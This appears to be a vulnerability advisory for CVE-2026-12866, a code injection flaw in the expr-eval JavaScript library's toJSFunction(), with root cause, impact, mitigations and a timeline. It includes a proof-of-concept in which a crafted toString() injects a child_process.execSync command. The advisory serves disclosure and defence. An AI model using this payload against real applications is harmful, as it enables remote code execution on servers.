Executive Summary
A critical code injection vulnerability has been disclosed in expr-eval, a widely-used JavaScript/Node.js library for parsing and evaluating mathematical and logical expressions. The vulnerability resides in the toJSFunction() API, which compiles parsed expressions into native JavaScript functions via new Function(). An attacker who can supply crafted input to toJSFunction() — including through objects with custom toString() implementations — can escape the expression sandbox and execute arbitrary code in the Node.js process, including file system access, process execution, and network operations.
CVE-2026-12866 carries a CVSS 3.1 score of 9.8 (CRITICAL) and CVSS 4.0 score of 9.2 (CRITICAL).
No patch is currently available. All versions of
expr-evalon npm are affected.
Vulnerability Details
| Field | Value |
|---|---|
| CVE ID | CVE-2026-12866 |
| CVSS 4.0 Score | 9.2 (CRITICAL) |
| CVSS 3.1 Score | 9.8 (CRITICAL) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| CWE | CWE-94 (Code Injection) |
| Affected Package | expr-eval (all versions, npm) |
Root Cause
The toJSFunction() method in expr-eval transforms a parsed expression into an executable JavaScript function. During code generation, variable values are coerced to strings via .toString(). This creates a code injection vector: if an attacker controls a variable bound to an object with a custom toString() method that returns JavaScript syntax fragments, those fragments are embedded verbatim into a new Function() constructor call and executed.
// Simplified vulnerable pattern in expr-eval (src/expression.js ~L55)
toJSFunction(params, variables) {
const body = this.toJSExpression(variables);
// `body` may contain attacker-controlled content from variable.toString()
return new Function(...params, 'return ' + body);
}Proof of Concept
A proof-of-concept disclosed in the upstream GitHub issue demonstrates the full attack path:
import { Parser } from 'expr-eval';
const parser = new Parser();
const expr = parser.parse('x + 1');
// Attacker-controlled variable with malicious toString()
const maliciousVar = {
toString() {
return "0; require('child_process').execSync('id > /tmp/pwned')";
}
};
// Triggers RCE when toJSFunction is called with the malicious variable
const fn = expr.toJSFunction('x', { x: maliciousVar });
fn(maliciousVar);
// /tmp/pwned now contains the output of `id`Affected Scenarios
- Server-side expression evaluation: Any Node.js application that calls
toJSFunction()with user-controlled input or user-controlled variable bindings. - Cached compiled expressions: Applications that cache
toJSFunction()results and later invoke them with user-supplied variable objects. - Expression-as-config: Platforms allowing users to configure expressions (formula builders, no-code tools, rule engines) backed by
expr-eval.
Not Affected
- Pure browser sandboxes with no access to
requireor Node.js globals (though arbitrary JS execution in the browser context may still be exploitable for XSS or data theft). - Applications using only
Parser.evaluate()orexpr.evaluate()with primitive (non-object) variable values — though this boundary is fragile and should not be relied upon as a security control.
Impact
- Remote Code Execution: Full OS-level command execution in the context of the Node.js process.
- File System Access: Read/write arbitrary files accessible to the application's user.
- Credential Theft: Access to environment variables, configuration files, and secrets in the process environment.
- Lateral Movement: Potential for network-based pivoting from the compromised Node.js server.
Remediation
No Patch Available — Mitigation Required
As of 2026-06-23, the expr-eval repository has no released fix. The upstream issue was opened in January 2026 and remains open.
Recommended mitigations:
- Stop using
toJSFunction(): This is the primary affected API. Replace usages withexpr.evaluate(variables), which does not performnew Function()code generation and is not affected by this vulnerability.
// Unsafe — do not use with untrusted variables
const fn = expr.toJSFunction('x', variables);
fn(value);
// Safe alternative
const result = expr.evaluate(variables);- Sanitize variable values: If
toJSFunction()cannot be immediately removed, ensure all variable values bound to the expression are primitive types (number, string, boolean) — never objects with customtoString()methods. Validate with:
function isSafeValue(v) {
return typeof v === 'number' || typeof v === 'boolean' ||
(typeof v === 'string' && !/[;(){}\[\]]/.test(v));
}-
Replace the library: Consider migrating to maintained alternatives that do not use
new Function()for expression evaluation, such asmathjsorfiltrex, which provide stronger sandboxing. -
Apply process-level isolation: Run expression evaluation in a worker thread or sandboxed subprocess with restricted filesystem and network access, limiting the blast radius of any exploit.
-
Monitor for exploitation indicators: Watch for unexpected child processes spawned by your Node.js application, unusual file creation in
/tmp, or outbound network connections from the app process.
Timeline
| Date | Event |
|---|---|
| 2026-01-20 | Vulnerability reported in GitHub issue #292 by security researcher |
| 2026-01-20 | Proof-of-concept RCE demonstrated in issue comments |
| 2026-06-23 | CVE-2026-12866 assigned; NVD and Snyk advisory published |
| Open | No official patch released; issue remains open upstream |